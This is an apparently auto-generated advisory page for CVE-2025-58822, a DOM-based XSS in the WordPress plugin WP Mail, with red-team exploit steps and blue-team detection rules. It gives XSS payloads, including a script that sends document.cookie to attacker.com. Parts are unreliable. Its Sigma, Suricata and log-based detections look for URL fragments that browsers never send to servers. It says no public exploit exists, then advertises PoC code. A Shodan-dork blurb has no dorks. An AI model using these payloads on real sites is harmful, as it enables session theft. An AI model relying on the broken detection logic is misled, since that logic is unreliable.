CVE-2025-58822
Executive Summary
CVE-2025-58822 is a DOM-Based Cross-Site Scripting (XSS) vulnerability in the WordPress plugin "WP Mail" by mndpsingh287, affecting all versions up to and including 1.3. The vulnerability stems from improper neutralization of user input during web page generation, allowing an attacker to inject malicious scripts that execute in the context of the victim's browser. This is a WordPress ecosystem issue, not related to Apache or Nginx. The CVSS score is 6.5 (Medium), and no public exploit or patch is currently available. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains for targeted attacks.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and monitor for updates. No known supply chain compromise has been reported.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): Required (R) – Victim must click a crafted link or visit a malicious page.
- Scope (S): Changed (C) – Impact may extend beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): None (N) – No impact on availability.
Threat Level: Medium. While the CVSS score is 6.5, the lack of a public exploit and low EPSS score reduce immediate risk. However, DOM-based XSS can be used for session hijacking, phishing, or defacement in targeted campaigns.
Deep Dive & Mechanics
The vulnerability exists in the WP Mail plugin's handling of user-supplied data within the DOM. The plugin likely processes input (e.g., email addresses, subject lines, or message bodies) and reflects it into the page without proper sanitization or encoding. Because it is DOM-based, the malicious payload is injected via client-side scripts (e.g., document.location.hash, document.URL, or window.name) rather than server-side reflection.
Attack Flow:
- Attacker crafts a URL with a malicious payload in a fragment identifier (e.g.,
#<script>alert('XSS')</script>). - Victim clicks the link while authenticated to the WordPress admin panel.
- The WP Mail plugin's JavaScript reads the fragment and inserts it into the DOM without sanitization.
- The payload executes, potentially stealing cookies, performing actions on behalf of the victim, or redirecting to a phishing page.
Root Cause: The plugin fails to use safe DOM manipulation methods (e.g., textContent instead of innerHTML) or lacks input validation for data originating from the URL fragment.
Vulnerable vs. Patched Code
Since no patch is available, the following is a hypothetical comparison based on common fixes for DOM-based XSS.
Vulnerable Code (JavaScript):
// Reads the URL fragment and inserts it into the DOM
var userInput = window.location.hash.substring(1);
document.getElementById('output').innerHTML = userInput;
Patched Code (JavaScript):
// Sanitize input using textContent or DOMPurify
var userInput = window.location.hash.substring(1);
var sanitized = DOMPurify.sanitize(userInput);
document.getElementById('output').textContent = sanitized;
Key Differences:
innerHTMLis replaced withtextContentto prevent HTML/script injection.- Alternatively, a library like DOMPurify is used to strip malicious content.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- WordPress instance with WP Mail plugin <= 1.3 installed.
- Victim must be logged in as an admin or user with access to the plugin's interface.
Exploit Steps:
- Identify a page where the plugin reflects user input from the URL fragment (e.g.,
/wp-admin/admin.php?page=wp-mail-settings#). - Craft a payload:
#<img src=x onerror=alert(document.cookie)> - Send the link to the victim via email or social engineering.
- Upon clicking, the payload executes, exfiltrating cookies or performing actions.
Example Payload:
#<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Blue Team (Defensive)
Detection:
- Monitor web server logs for requests containing
#followed by script tags or event handlers. - Use browser-based CSP headers to block inline scripts.
Mitigation:
- Disable the WP Mail plugin until a patch is released.
- Implement Content Security Policy (CSP) with
script-src 'self'to prevent inline execution. - Use a Web Application Firewall (WAF) to block known XSS patterns.
Indicators of Compromise (IOCs)
- URL Patterns: Requests containing
#<script,#<img,#<svg, or other HTML tags in the fragment identifier. - Network Traffic: Outbound connections to unknown domains from the WordPress admin interface.
- Log Entries:
GET /wp-admin/admin.php?page=wp-mail-settings#<script>...in access logs. - File Hashes: (None available – plugin files may be modified by attacker).
Detection Engineering
YARA Rule
rule CVE_2025_58822_WP_Mail_DOM_XSS {
meta:
description = "Detects DOM-based XSS in WP Mail plugin <= 1.3"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-58822"
strings:
$vuln_js = /\.innerHTML\s*=\s*window\.location\.hash/
$vuln_js2 = /\.innerHTML\s*=\s*document\.URL/
condition:
any of them
}
Sigma Rule
title: CVE-2025-58822 WP Mail DOM XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential DOM-based XSS attempts against WP Mail plugin
author: Valters IT
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-uri-query|contains:
- '#<script'
- '#<img'
- '#<svg'
- '#<iframe'
condition: selection
falsepositives:
- Legitimate use of hash fragments in URLs
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-58822 WP Mail DOM XSS Attempt"; flow:to_server; content:"#<script"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the WP Mail plugin until a patch is released.
- Implement Content Security Policy (CSP) headers to block inline scripts:
Content-Security-Policy: script-src 'self'; object-src 'none'; - Use a Web Application Firewall (WAF) to filter malicious payloads.
Long-Term Fix:
- The vendor must release a patched version that sanitizes all DOM inputs using
textContentor a library like DOMPurify. - Users should update to the latest version once available.
Workaround:
- If the plugin is critical, manually edit the JavaScript files to replace
innerHTMLwithtextContentand validate all input fromwindow.location.hash.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.